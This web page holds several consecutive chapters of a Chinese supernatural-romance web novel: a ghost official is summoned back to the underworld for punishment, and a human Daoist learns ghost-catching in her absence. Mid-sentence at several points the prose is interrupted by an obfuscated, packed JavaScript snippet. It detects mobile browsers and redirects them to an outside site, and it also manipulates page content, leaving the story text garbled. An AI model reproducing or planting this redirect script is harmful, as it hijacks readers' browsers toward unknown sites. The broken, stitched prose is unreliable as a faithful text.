将多出的那只手扯离自己的肩膀,红衣鬼嫌弃般的往范无咎的方向走了两步,语气颇为不客气,“我想回时自然便回了,做甚要你们来接……你们又是怎么知道我在这里的?” “未受差令却出现在人间,不仅对一群鬼祟动了手,还介入了凡人间的因果,”范无咎面无表情,“这些事情,地府都已经知道了,所以让我们带你回去领罚。” “什么!” 封灵还没有什么反应,解玉反倒急切地先叫出来了,“二位无常,这事并非鬼大、鬼师娘娘之过,她是为了帮——” 而后又一次说不出话了。 封灵瞪了人一眼,重新将手拢回袖下,面上仍不见任何慌乱,“你说的这些,最多不过几刻钟前才发生,哪能那么快就传回地府……怕不是你们路过瞧见了,故意跟过来骗我的。” 谢必安煞有其事地摇头,眼里分明是等看好戏的光芒,面上却偏还要装出一本正经的模样,“非也非也,实则是日游神巡经此地时无意瞧见的,这才报到了察查司,又被捅到了阎王们的面前……你知道的,他跟夜游神两个最喜欢传小话了。” 这话说得倒像那么回事,可惜说话者在封灵面前已全无信任可言,遂又侧头看向另一个罕言寡语的。范无咎定着红衣鬼灼灼的目光,简短地嗯了一声,“几殿阎王聚集察查司议事,日游神当着他们的面找到陆判言说你的事情。众目睽睽之下,泰山王便让我二人来带你回去了。” “泰山王?”封灵挑着眉,“他不是最讨厌那些拨弄是非的吗,怎么还愿意掺和进日游神告我的这桩事里来。” “他让你回去,总好过察查司的让你回去罢,”谢必安又一次搭上封灵肩膀,“要我说,你就不该帮着他们找纪苏文。日、夜游神在自己的地界弄丢了阎魔王仅剩的血脉,前些日子一直被第五殿找麻烦呢。原指望你能把姓纪的带回来,结果还是不见踪影……他两个保不齐是记恨上你了!” 最后一句还特意压低了声音,像是好心好意的提醒。但以封灵对谢必安的了解,这家伙绝对只是看热闹不嫌事大,生怕自己在地府的日子过得太无趣,简直比她还过分。 “……不会说话可以把嘴闭上,”红衣鬼嫌弃地看了白无常一眼,“我是受陆判官请托去帮忙的,又没有害过他们,做甚要记恨我?” 谢必安脸上的笑咧得更开了些,眼里闪着兴味的光,“可别说我没给你漏风。就是你去人间的那几日,夜游神突然感知到了纪苏文的一缕气息,偏追到莫县后什么都没发现……你不就在那一片搜寻么。之后虽说是空手回的地府,但他俩觉得是你故意瞒了下来,找机会拿纪苏文跟第五殿换个大人情呢!” 看来,得再找个机会提醒下纪苏文了,地府可还没放弃把他找回去呢…… 封灵眸光微闪,又不着痕迹地避过谢必安打量的视线,“得了,你不就想看到我跟日游神打起来么。说是来带我回去的,结果在这里磨磨唧唧地说了半天其他的事情,听都听烦了……先说好,我可不去押新鬼,他们吵死了。” 封灵甩开白无常的胳臂,几步走到解玉的身前,露出一个无奈的表情,“还打算在人间多待些日子的,没想到也会有被告状的一天……放心吧,那些小鬼我都没下死手,这次回去受些小罚,最多再关上几日。等出来了,我还是能再来找你的。” 又拉过解玉的手,掌心与掌心相贴,将一缕颜色浅淡的符纹埋进男人的皮肤深处。 “……以防万一,这符纹可替你挡去身怀恶意的鬼祟,三步以内没有不长眼的敢靠近你,”封灵交代着,“至于你的院子,我方才也设下了屏障,除非得你应允,否则酆家的人一个也进不来。” 解玉大张着嘴,努力想跟红衣鬼再说些什么,却被禁言的术法所困,始终发不出一丝声音,只能隐约从口型中看出“鬼大王”三个字。 封灵做完一切,又起身环视了一圈,自觉在她离开期间再没有能威胁到解玉的东西后,方理着袖子朝黑白无常道:“走吧,早些回去早些论罚,我可还有许多的事呢!” 范无咎始终安安静静,听见封灵的话也不过点了下头。谢必安就不一样了,像是发现了什么秘密般,视线不住地在解玉与封灵之间逡巡。眼看封灵的脸色越来越差,方才不舍地收回目光,又啧啧称奇起来,“来时不曾注意,原来是中元节那夜见过的道长,怪不得脱口便能称呼我等无常……鬼师娘娘,瞧着你与这位道长交情甚笃,那我当日说的便不算谣言了罢,你分明——” 封灵再难忍受,解下勾魂索便勒在了谢必安的脖子上,拖住这只口无遮拦的无常便往外走,嘴里凶狠道:“闭嘴!再敢乱说话,我就让你尝尝被自己的勾魂索勒掉脑袋的滋味儿!” 一白一红两道身影迅速消失在解家小院。 范无咎被落了下来,看着下意识追出两步又怔愣停下的解玉,突然道:“……人鬼殊途,你须得牢牢记住这一点才是。” 说罢,也不管后者是何反应,脚下一转也消失得无影无踪。 “鬼大王……” 解玉喃喃出声,却被突然出现的嘶哑嗓音吓了一跳。怔怔抚上喉咙,这才反应过来是自己又可以正常说话了。 可是,那个会嫌他聒噪的红衣鬼却离开了。 解玉茫然站立在空荡荡的院子里,一时有些惘然若失。 封灵把所有的都替他考虑好了,他却对封灵即将遭遇的事情一无所知。地府的鬼差会怎么对她,又会因这事对她论多重的罚,这一切他统统不知,甚至连打听的方向也找不到。 若他当时再撑久一些就好了,封灵或许就不用替他出头了,也就不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阎魔王今日突然帮你,说不定是真信了日游神他们的说辞,等你提着他家玄孙上门做生意呢……空穴不来风,鬼师娘娘,你不会真把纪苏文藏起来了罢?” 神色轻松地与远远盯着他们的日游神打了个招呼,另一侧的谢必安兀的问起话来。 真把纪苏文“捏”在手里的鬼师娘娘眼皮一跳,毫不留情地往白无常脸上抽了一扇子,“你脑子里成天都在想些什么东西,要不干脆把头拧下来扔进油锅洗一洗……你自己还说呢,第五殿最近一直在找他俩的麻烦。阎魔王让我少受些罚,不正好让他们多受些不痛快了么!” 实在不是她言语和动作粗暴,只是阎魔王在察查司时看她的眼神,确实有些说不出来的怪异,就像是认定了她在隐瞒什么似的。旁边的陆之道还好,由始至终端着客套的笑,离开前甚至又一次地谢过她跑了趟人间。 纪苏文此前让她不必特意去瞒阎魔王,但今日这场合显然不是什么合适的时机。又因有日、夜游神这一遭话,短期内也不能再和第五殿或是阎魔王有什么其他的接触,否则就真坐实了传言,到时候把鬼差引去了莫县可怎么是好…… 都怪日游神今日这张嘴! 封灵捏着扇柄的力道顿时收紧,红眸凶狠地顺着谢必安的视线看去,果然瞧见了角柱边来不及躲闪的日游神。挑衅般地扯了个笑,这才踏着愤怒的脚步离开了察查司。 26. 惦念生根 解玉出神地盯着手里的书册,指尖不自觉地收紧。 那是离开鬼市时封灵拍在他身上的《抓鬼十法》,薄薄十数页的内容已在这几日被他翻阅了无数遍。之前总觉得自己用不上,又或是天塌下来还有封灵顶着,所以直到那日被他重新找出来前,解玉都没有认真看过一页。 如今,他却后悔自己看的晚了。 饶是已经记住了书里的每一个字,他却还是不明白,也不懂得如何去用。若是封灵这会还在,定是嫌弃地睨他一眼,带着满脸的不耐烦却又细心地一一指点。 解玉眼色稍黯,纷杂的思绪如潮水般向他涌来。知道自己今日是再看不进去了,男人叹着气将书册收回匣子,又小心地上了锁。 从四方桌后起身,解玉拖着沉重的脚步走到院外空地上。封灵说她在此处为自己设了屏障,所以那日之后他再没出过院门一步,靠着以前囤留的口粮简单过活。 起初还有窃窃的身影在四周窥探,在发现驭使的鬼物根本无法靠近解玉后,又于某日突然消失了。没有了居心叵测的人,也没有了不请自来的鬼祟,解玉的日子好像一下子回到了没有遇见封灵之前。若不是腕骨上还留有浅浅一抹符纹,他甚至都要怀疑自己是不是做了一场大梦,如今只是梦醒了。 低垂着脑袋站在院角的老树前,解玉有一茬没一茬地重复着浇水的动作,另只手不自觉地摩挲着那道符纹,不知道第多少次在心底呼唤起封灵来。 依旧是石沉大海。 好在封灵留下的痕迹都在,他便也能勉强说服自己,这位鬼大王只是一时没有空暇搭理他。等把地府的事情处理妥当,就又会像之前的每一次那样,故意不声不响地出现在自己的身后,以吓他为乐。 “……解公子?” 解玉一瞬间还以为是封灵回来了,等听到后两个字又失望地垂下眼。两手掩脸收拾好了情绪,男人这才搁下舀子转身—— 却是意料之外的一个人。 酆灵英。 解玉的脸色冷淡不少,敷衍性的一拱手算是见礼,“酆姑娘,多日不见,你们还没有回去望京吗?” 酆灵英隔了段距离站在院门外,碍于封灵设下的屏障,这已是她最能靠近解玉的地方了。 “这两日便要启程了,”酆灵英先是答了解玉的问,而后深深一俯身,“那日在道上驭使鬼物试探公子的,是我的一位族弟。因与公子认识的酆七交好,所以不顾我的吩咐动了手……酆灵英在此替他向公子赔罪!” 解玉立刻撇开脸看向别处,脸上现出几分为难与无措,“不是姑娘动的手,这样的大礼我受不起……还是快快起身罢。” 酆灵英闻言起身,面色依旧郑重,“至于向公子叫嚣的那些人,大多是跟随而来的家中长辈。因酆七出事,公子又曾与他有过接触,是以被他们当作了疑犯,这才态度恶劣地想从公子嘴里要个说法……这其中亦有我管束不当之过,在此一并向公子赔不是了。” 说罢,又朝解玉屈下了腰。 接连被拜了两次,解玉有些扛不住了。稍微走近了两步,却仍然留在院子里,解玉虚抬着手示意酆灵英起身,“酆姑娘,你没有必要为其他人的过错来找我……再说了,我如今也好好的,只要你们家的人离我远些。” 他应该要生气的,就因为酆家驭来的几只鬼,让封灵被迫受过回了地府,连哪日再回来也难知。可他也同样明白,这不能全怪在酆灵英的头上。哪怕她一开始确实存着纵容,可最后关头还是在试图搭救他。所以,他的气也不能够撒在酆灵英的身上。 “我已狠狠告诫过他们,想来公子今后不会再为他们所扰,”酆灵英总算直了身,脸上带着不变的诚恳,“只是,我也有一事,想请公子释惑。” “……酆姑娘铺垫许多,原是为了这一句话,”解玉稍微好转的脸色又沉了下去,“不知解某身上还有什么值得姑娘客气询问的?” 酆灵英面露惭色,“今日确为赔罪而来,但也是想从公子嘴里知道那柄折扇的始末……” 解玉眸光一凝,有些意识到了什么,但还是态度强硬地与人对峙,“姑娘当日不就已经拿在手里看过了么!若觉不对,姑娘大可去集市东街尽头的那家字画摊上找人,看看当时替我作画的那位摊主是不是有什么异常!” 酆灵英不为所动,只探出节指尖朝虚空处指了一指,“解公子,这是跟在你身边的那位鬼大人布下的罢……鬼力深厚如斯,酆家的人没一个能靠近,便连我也只能站在这里同你说话。” 解玉此刻已全然警惕起来,真假两话掺杂,“那又如何,你们酆家都能驭鬼了,我给自己养只鬼又有什么好奇怪的?” 他这时又庆幸起封灵不在身边了,否则听了他的话,只怕立刻就要甩他一扇子。 “灵英并无质疑之意……且公子能得此机缘,来日于抓鬼一途上必定前途无量,在此先给解公子道声恭喜了。” 不管解玉的语气是好是坏,酆灵英始终保持着礼节与客气,“那日变故突发之时,曾见公子身边凭空多出一把古拙折扇,几下工夫便替公子挡去了所有袭击……想来就是那位大人的武器了。虽有些冒昧,但能否请公子让灵英与那位大人见上一面,也好当面求教些事情?” 看来,这人身上的灵力确实强大,还能够在封灵隐去身形后窥见零星半点的踪影。 后者一点点蹙起了眉尖,正欲说些什么打发了去,又突然想起封灵在鬼市见到同样一把折扇时的异样表情,内心多了几分拿捏不准。 这其中究竟有什么秘密,封灵如此,如今遇到的酆灵英亦如此……可他怎么能相信这不是酆家人又一次的试探与谎言呢? 解玉只觉心里的疑团又大了一圈,夹杂着隐约的担忧与不安。重新看向酆灵英,女子依旧执着地等着他的答复,对投在自己身上的探寻目光更是毫不介怀。 解玉忖度了片刻,仍不敢在这当头激进冒险,只迎着那道希冀的目光摇了头,“抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976656|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉,酆姑娘,我还是不敢信你,和你身后的酆家。由始至终,姑娘都未向我提过那把折扇与姑娘的关系,却试图让我和盘托出所谓的始末,实在是有些不公平……且我也早解释过了,折扇是在下请集市的一位字画师傅画的,并无其他特别之处。” 酆灵英的眼神明显暗淡了下去,面上神情几度变换,似乎在做着什么艰难的决定。解玉也在一旁不动声色地等待着,寄望能从女子的嘴里再多听到一些有用的线索,等封灵回来后保不齐还能派上用处。 须臾,紧抿的唇线舒展放松,酆灵英的表情不再纠结,而是目露坚定地看向解玉,“解公子,我……” 话刚开了个头,女子佩在腰间的玉佩便无端闪烁起微芒来。酆灵英脸色一变,歉意地朝解玉示意一眼,握住玉佩退后几步,转身只留下一个掐诀的背影。 似乎出现了什么大的惊变,再走回来的酆灵英脸上带着显而易见的焦躁,看向解玉的眼神重新带上愧意,“抱歉了,解公子。望京城里突然出了桩要紧事,我必须立刻回去。今日怕是来不及与公子细说折扇的事情了……” 解玉也没指望能一次从酆灵英的嘴里探出些什么,闻言并不见多少失望,只客气地向人道别:“那我便不耽搁姑娘的正事了,保重。” 心底也为能送走酆家的人松了口气。 “解公子,我确实没有恶意,”酆灵英踌躇两步,还是解释了起来,“那折扇或许与酆家祖上有些关联。因涉及先代旧事,此前才不便细说……自然了,也绝不是什么寻仇报复,我只是想见一见这把折扇的主人,了却先祖的惦念罢了。” 说着,又取出早准备好的纸笺递到解玉手边,“这是我在望京的住处,公子若想好了,可随时来信造访,灵英定扫榻恭候……待我回去了,也会再让信鸽捎信,与公子细说祖上的这桩旧事,也好叫公子一见我的诚心。” 而后又跟反应过来了般,半蹲着将纸笺搁在阶前空地,又寻了块石头压住。另从随身的布袋中取出一本书卷,紧挨着石头放下。 “……险些忘记我是进不来的,”酆灵英笑了笑,“听他们说,公子近来在研读抓拘鬼祟的书籍。灵英手上正好有一卷古籍,内容算不得详尽,但想粗粗了解一下鬼祟还是足够的,便一并留给公子了。” 听他们说? 除了那些被驭来的鬼物,还有不死心守在外头的酆家人,酆灵英还能听谁说…… 似乎感觉到了解玉淡淡的嫌弃,酆灵英不再继续这个话题,只整袖从容起身,两手交叠作拜别状,“解公子,我便先行一步了……希望你我能早日于望京再会,告辞!” 直等到女子的身影消失在道路尽头,解玉才探手将酆灵英留下的纸笺与书卷取回来。盯着手里的两件东西,解玉的眉头紧锁难舒,像是担了万钧重的负累,压得心底沉甸甸的。 鬼大王,你要到什么时候才能回来…… 叹着气回到里屋,解玉握住符纹,又一次呼唤起封灵来。 27. 北地来客 封灵走在鬼群的最前面,不时抬手用力按揉额头,眼底满布着浮郁与躁烦,脚下动作也越来越快,俨然已经忍耐到了极点。 “这位姑娘,相逢即是有缘,”桥上跑来一只试图搭话的新鬼,“小生没死前也算当地远近闻名的画师,平生红颜知己无数。姑娘不妨告诉我你的闺名,再让我留在地府为姑娘作画一幅,方才不算埋没这份姿容哪!” 红眸威胁似的半眯起来,封灵缓缓将手搭在勾魂索之上,面目狰狞到有些扭曲。眼看就要扯下腕间的殷红绳索,好在被急急赶来的孟婆用力摁了回去。 “封灵儿,忍住!” 孟婆左右示意了两眼,原本佯装看不见的鬼差们便迅速拥了过来,又驱赶起这群无知无畏到胆敢调戏鬼师娘娘的新鬼们来。 将红衣鬼拉回自家小摊的摇椅上坐下,孟婆苦口婆心地劝道:“眼看没剩两日了,你就再忍忍。等一月之期过去,再收拾这群新鬼也不迟!” 封灵将牙齿咬的咯咯作响,深觉自己这一次遭受的苦难不少。头半个月守在鬼门关时还算好,那里的鬼差与封灵相熟,只要她每日守够了时辰,其他事情便睁一只眼闭一只眼地放过了,不必她真去清点进出酆都城的鬼头。但等到了牵引新鬼的下半个月,封灵的境遇开始急转直下。 若遇到老实上路的新鬼还好,什么都不必说地带去喝完孟婆汤便算了事。若遇上像今日这样的,耳朵遭罪还是其次,就怕被扯进闹事打架的混乱漩涡当中,难以脱身。 红衣鬼长叹了口气,一时身心俱疲。 “姑娘,姑娘!” 被鬼差粗暴押着去喝孟婆汤的画师鬼,路过封灵身边时尤不死心,挣扎着朝那抹红衣挥手,“小生是真心的,真心的!姑娘一定记住小生的模样,来世纵是人鬼殊途,小生也愿意与姑娘再续前缘!” 鬼差听得浑身一抖,生怕被脾气不好的鬼师娘娘迁怒,也不管什么先来后到了,抢过最前面的孟婆汤便给这只画师鬼灌了下去。后者迷瞪地打了个踉跄,整只鬼一下子就安静了下去,不吵不闹地任由鬼差带走。 “谢必安还说阎魔王是在帮我,如今瞧着倒更像是借故在磋磨我。可他家那多少代的玄孙又不是因为我才不见的……” 封灵也不是真的抱怨,就是满腔的郁闷无处宣泄。惹出她火气的画师鬼又被过于有眼力劲的鬼差给带走了,她便只能对给自己定下罚期的阎魔王嘴上放肆几句,只当是聊胜于无。 “听说察查司那边还没有彻底放弃,一直都在让日、夜游神去人间搜寻,也不知还有没有希望。” 孟婆顺势转了话头,试图将封灵的注意力从新鬼身上带离。 “还在找啊……” 红衣鬼啧了一声,默默在心底为纪苏文道了声保重。看来,她还是得找个机会见阎魔王一次,好歹再给这对鬼鸳鸯争取些时间。 “孟婆,我的罚期还剩几日来着?” 封灵掰着手指头算了又算,一会儿还剩两日,一会儿又变成了三日,刚才那次甚至被她算出了五日。红衣鬼干脆放弃,利索地问起帮手来。 “三日。连今日一起,还剩三日。” 孟婆无可奈何地答道,又抬手戳了下封灵额头,听着后者故意发出的一声哎呦,忍不住绽了笑颜,“这次是辛苦了些……之后去人间换换心情罢。我给你打掩护,好让你可以在外头多留些日子。” 又见封灵歪着头一副惊奇的模样,少不得笑骂起来,“还不是瞧你这次可怜,整日里被一群又一群的新鬼折磨……再做出这副表情,便当我什么都没说罢!” “不成不成!”红衣鬼笑嘻嘻地挽过孟婆胳臂,“我都已经听到了,你自然是要践诺的!” 看着封灵近一月来难得的笑脸,孟婆不动声色地松了口气,又在红衣鬼视线不能及的地方显露出少许挣扎。 “……封灵?” 粗犷浑厚的男声突然响起,带着不加掩饰的诧异,随后一道高大伟岸的身影出现在孟婆摊外。 被直呼了名姓的封灵丝毫不见动气,反而抬着同样诧异的目光向来者望去,“乌贺?你不是该和秦广王一起呆在北地么,怎么跑来地府了……” 乌贺,便是千年前被酆都大帝提拔起来的北地城隍主。 “我的辖地里出了些事情,特意下来请冥主决断……秦广王么,这会儿应该已经回第一殿了。” 乌贺近前两步,拱手朝孟婆见礼,彼此视线有一瞬间的交叠。而后将目光停在封灵的身上,上下打量了一番,“路上便听说鬼师娘娘被罚了,还以为是小鬼们乱传的……没想到你还真在泰媪大人这里做苦力呢!” 封灵却没有立刻搭话,她的心思已然放在了回地府的秦广王身上。这一次,她是不是就可以知道些关于酆家的其他消息了。 “……封灵?封灵!” 迟迟没有听见红衣鬼开口,乌贺少不得又喊了两声,而后不明所以地看着孟婆,“泰媪大人,她这是在您这里做苦力做傻了么……怎么突然间发起愣来。” 孟婆难以言喻地睨了乌贺一眼。若不是深知北地城隍主就是这么副憨直的个性,她定会觉得这家伙在故意挖苦封灵。 “你说谁傻呢!”回过神来的封灵听到后半截话,挑着眉立刻反驳起来,“倒是你,竟也会为了辖地里的事情找上地府,稀奇哪!” 乌贺同样不觉冒犯,摸了摸鼻子笑得甚是爽朗,“这次的事情,里面有些人的身份不太一般,我不好做主,便干脆请冥主来定了。” 在北地,竟还有城隍主不好做主的人,听着更加稀奇了…… “对了,听他们说你在人间给自己养了个情郎,感情很是深厚不说,连这次受罚也是因为他,如今还一门心思地给人找谋财的生路……怪不得你近来都不去北地了。” “不过人鬼殊途,你莫要太上心了,焉知他不是个骗你感情的混蛋。” 也不知是哪一次后留下的错误印象,在这位北地城隍主的眼里,封灵就是个极易遭人哄骗的纯良个性,稍有不慎就会被坑得“倾家荡产”。这会儿对着红衣鬼的诸般说辞,也满含着好声好气与苦口婆心,与魁梧敦实的外表全然不符。 他们?情郎? 除了口无遮拦的谢姓无常外,还有谁能一次又一次地造她的谣…… 封灵只觉自己的手又开始痒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你若只是想找个得香火的差事,我让南地的城隍主帮个忙,何必非要去北地呢?” 孟婆说话间突然奇怪起来,几次言语都似乎想打消封灵去北地的念头,与乌贺在时的反应有些不同。 “孟婆,你这是跟乌贺有过节了?”红衣鬼也察觉到了不对,回过头面露不解,“怎么他一走,你就在我面前说起他的不好来。” 孟婆停顿了下,而后轻嗤一声,“我与他又没什么往来,就是担心你被他唬住了。长成一副老实相,谁知道心底是不是住了只狐狸……说不定就是听了谣言,借故把你找去,想趁机看一眼那凡人长相的。” “他又不是谢必安。” 封灵不由失笑,还欲再说些什么,却听奈何桥的另一头传来鬼差呼唤—— “鬼师娘娘,又有新鬼过来了!快些与我等去接引罢!” 封灵勉强应声,看在罚期将至的份上,难得积极地站了起来,“那我先过去了,等把这一批新鬼带过来了,再与你说话。” “好。” 孟婆眼睫轻眨,悄无声息地掩去眸底的淡淡愁丝,再看向封灵时,又是一脉的蔼然温和。 28. 重又再见 好不容易捱过了一月之期,封灵却没有立刻从地府离开,而是在罚期结束后的次日再度叩响了第一殿的大门。 这次她有备而来,提前找鬼差打听好了秦广王的行踪,又特意卡在他忙完公务后的时间过来,唯恐扑了个空。而秦广王,或许是被鬼差提前通报过了,对于封灵的来意知道得一清二楚,甚至预先找出了录有酆家各代事略的卷册,就等着交到红衣鬼的手中。 “这酆家的身份在地府里有些特殊……鬼师娘娘当也是知道的,”秦广王笑了一下,“因而他家的卷册都是由各殿阎王自行保管,并非是我殿中鬼差有意叫鬼师娘娘空手而归。” 封灵哪里听不出这是客套之言,但她本来也是有求于“人”,此刻又拿到了自己惦念许久的物什,正是态度极佳的时候。 “原该是我去谢过那位鬼差才是,”封灵捧着卷册,笑得眉眼弯弯,“我自己的差事,却烦劳第一殿上下为我东翻西找……您如今再说这样的话,实在叫封灵惭愧。” 指腹从怀中卷册的封皮上划过,封灵想了想又道:“封灵另有一不情之请,还希望秦广王您能够应允……” “可是想把这卷册带走翻阅?” 见红衣鬼不加犹豫地点了头,秦广王的脸上也不见任何的意外之色,更像是早有所料般主动开口,“自然是可以的。鬼师娘娘哪日看完了,再将它还给我便是。” 这一趟,似乎有些过于顺利了。 封灵压下心底的那丝疑虑,又一次谢过秦广王,这才带着酆家的卷册从第一殿离开。 秦广王坐在高台,一直目视着红衣身影远去。须臾招来前殿鬼差,低声问起话来,“北地城隍主今日也去了冥主那里么……你这会过去守着,等看见城隍主了便把他请来第一殿,就说我还要与他再商议一下之前说的事情。” 鬼差领命而去。 不多时,秦广王也自高台上消失。 …… 再度回到人间,封灵却并没有直接现身在解家小院,反而让自己停在了院门外的碎石小道上。红眸合上又睁开,带着幽暗的赤芒,缓缓向四周扫视了一圈——总算没有了陌生鬼祟的气息。再探手朝临走前布下的屏障一探——完好无损,不见任何被攻击的痕迹。 看来解玉这一个月的日子过得很是逍遥。 穿过半掩的木门,封灵摇着扇子,脚步悠闲地绕着院内空地走了一圈。本想等解玉出来时自己发现她,红衣鬼却从角落的那棵老树上看出了不对劲。 依照解玉的习惯,他是每日都要为这棵半死不活的老树修剪枝桠、浇水除草的,又怎么会放任掉落的枯叶在地上铺成一团,甚至发出腐烂的气息。 这人莫不是出远门去了…… 封灵看着吹落在脚边的又一片枯叶,不太有把握地猜测起来,旋即又被自己否决。她临走前叮嘱过解玉,也说了自己还要回来,以这人爱财惜命的性格,应该也没有胆子跑到外面去做些什么。 这就怪了。 不过么……这人应该是没有危险的。 她在解玉身上留下的那道符纹,除了可以让男人联系上自己外,也可以让她随时感知到解玉的行踪——只要在心底动了这个念头。 这会儿便算了,她还没有沦落到要主动去找一个凡人下落的地步! 四下扫视一圈,封灵不出意外地看到了自己要找的东西。啪嗒一声合上扇子,红衣鬼慢吞吞地缩进睽违已久的圈椅,神态惬意地打了个呵欠。 鬼魂虽然不用睡觉,可她这一个月来可谓是身心俱疲。难得无人打扰,若浪费在寻找解玉的身上,也未免太亏了。 封灵将自己的鬼身凝得更实了些,后倒靠上椅背,放松地合上眼睛,享受着久违的宁静。 …… 直到黄昏时分,小院外才又一次传来窸窣响动。有人回来了。 “……鬼大王?鬼大王!” 那声音初时迟疑,稍带三分不敢置信,而后俱数化为了欣喜。 缩在圈椅的那团红色身影极轻微地动了一下,水波不兴的脸上缓缓勾出一抹笑痕,又一点点晕到眉梢。熟悉的气息逐渐靠近,封灵总算是有了反应,好整以暇地抬了眼帘,却不见起身,只姿态懒散地偏头看去,而后蓦地一愣。 解玉有些过于狼狈了。 本就不算簇新的衣袍当胸处破开几缕,像是经历了场恶战般,白净的脸上带着明显的擦伤与划痕,鬓发凌乱地贴住额头,精神却很好。 “……谁动了你?” 封灵一点点蹙起眉头,带着几分不虞,翻身坐起后又细细打量起人来。 她明明已经感知过了,这附近没有落单的鬼祟,也没有不长眼的酆家人。解玉这才跟人打完架的阵势,又是怎么回事? 解玉哐当一下扔掉手里的东西,几步跑到红衣鬼身前,胳臂抬起又放下,整个人激动到说不出句完整来。 封灵伸出折扇,催促似的往这人胸膛上戳了两下,又耐着性子重复道:“解道长,问你话呢。” 她不在的这段时间,解玉该不会被哪个恶霸给欺负了罢…… 红衣鬼暗暗猜想。 “被欺负”的解道长终于从突如其来的欣喜中回神,漂悬许久的心也总算落回实地。努力装出一副镇定模样,解玉的声音也跟着轻快起来,眼角眉梢俱是笑意,“鬼大王,我出去帮人抓鬼了!” 说着,又指着地上的那一堆杂物,尤带三分自豪地开口,“你看,这些都是附近的乡民们送我的,谢我帮他们驱走了鬼祟呢!” 后者挑眉望去。被扔在地上的布袋绳口微松,隐约可见里面装的菜果米粮,确是当地农户会种的东西,就是拢共也值不了几个钱,只能当做填饱肚子的口粮。 “……那本《抓鬼十法》,你总算想起来看了?” 知道这人没有被欺负,封灵的表情也好上许多,重新把自己蜷回圈椅,红衣鬼又有了摇扇的兴致。 解玉含糊地应了一声,看着正被封灵握在手心的折扇,一时拿捏不准是否该向其托盘酆灵英之事。 女子在酆家的地位似乎不低,留下的册子也确实为解玉扫去了不少困惑。且……也不知是否存了酆灵英的授意,他在外面开始打听抓鬼的路子时,明里暗里受了不少人的帮衬。落单的法师,庙里的庙祝,甚至还有为数不少的孤魂野鬼,都在似有若无地为解玉提供便利,像是要推着他往抓鬼的这条道上走似的。 “看来你学得不错,这下是真变成解‘道长’了。”封灵粲然一笑,难得说了句打趣的话,“可遇到什么不懂的,或是不会的?我虽用不上这些人间的法子,但与你说个大概还是行的。” 得了红衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006130|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼的主动询问,解玉的内心升腾起剧烈的满足感,远途归来的疲惫似乎也在这一刻尽数涤荡。掏出始终揣在怀里的书册,解玉几步坐到封灵的身边,一张脸显得有些受宠若惊。 然而须臾过后,解玉便惊觉自己想的太过简单,封灵果然还是那个自己熟悉的封灵。 “……解道长,你到底听懂了没有!不都在外面抓过鬼了么!” 红衣鬼近乎怒吼的声音在耳边回荡,解玉忍不住地偏了偏脑袋。若这会有人站在他面前告诉他,叱咤地府的鬼师娘娘生前也是个天资卓绝的聪明者,他绝不会有任何怀疑。饶是跟三教九流的人打过不少交道,他也没遇见像封灵这般能过目不忘、举一反三的。怪不得会直接甩他一本《抓鬼十法》,或许在封灵眼里这就是个最粗浅的入门书册。 只是这位聪明鬼似乎忘记了,他如今也不过是个才摸进抓鬼行当的新手,满打满算连一个月不到…… “解玉!” 眼见封灵又一次挑高了眉,被连名带姓称呼起来的解道长赶忙新翻一页,胡乱指着一处试图打断。 “囚鬼术?”封灵的声音慢了下来,似乎对这三个字有些陌生,回忆了片刻方继续道,“这术么……你约莫是用不上的。” 又见解玉面露惑色,想了想又道:“你们凡人抓鬼,想的都是要把鬼给灭了罢。但这术只能生擒鬼,并不能伤害鬼。且施用此术的限制颇多,所以对现在的你来说没什么用处。” “是,我的灵力不够?” 解玉追问道。 “无关灵力强弱,”封灵摇着头,“只是施用此术时,须得被囚之鬼的全部信任……但鬼天性多疑,与其费大工夫取信囚它,倒不如直接打翻在地绑了它来的快。” 全部信任? 解玉下意识看向了封灵,被后者毫不客气地翻了个白眼,戳破了心里的那点小心思,“死心吧,你是囚不住我的。” “我,我不是……” 男人着急忙慌地摆手,试图向已经收回视线的红衣鬼解释。他只是听到了信任二字,便不自觉想知道自己在封灵心中有几分可信,并不是真想对她施用此术。自然,他也没有自大到认为自己可以对地府鬼师下手。 看着解玉莫名紧张起来的表情,封灵不明所以地歪了歪头,自以为是说出的话将人伤到了,遂又找补道:“不是说我不信任你,只是我现在知道你在想什么,自然对你有警惕了……放心吧,解道长,咱们可是同伙呢,当然是彼此信任的。” 也不知道这个回答好是不好,但至少解玉收起了患得患失的表情。封灵不露声色地松了口气,又亡羊补牢般将指尖悬停在解玉受伤的地方。细碎微光浮过,男人脸上的伤便一点点淡去,须臾又恢复成毫发无损的样子。 解玉怔怔抚上有些发烫的脸,自耳根处泛起一抹淡淡的红晕,整个人有一瞬间的失神。 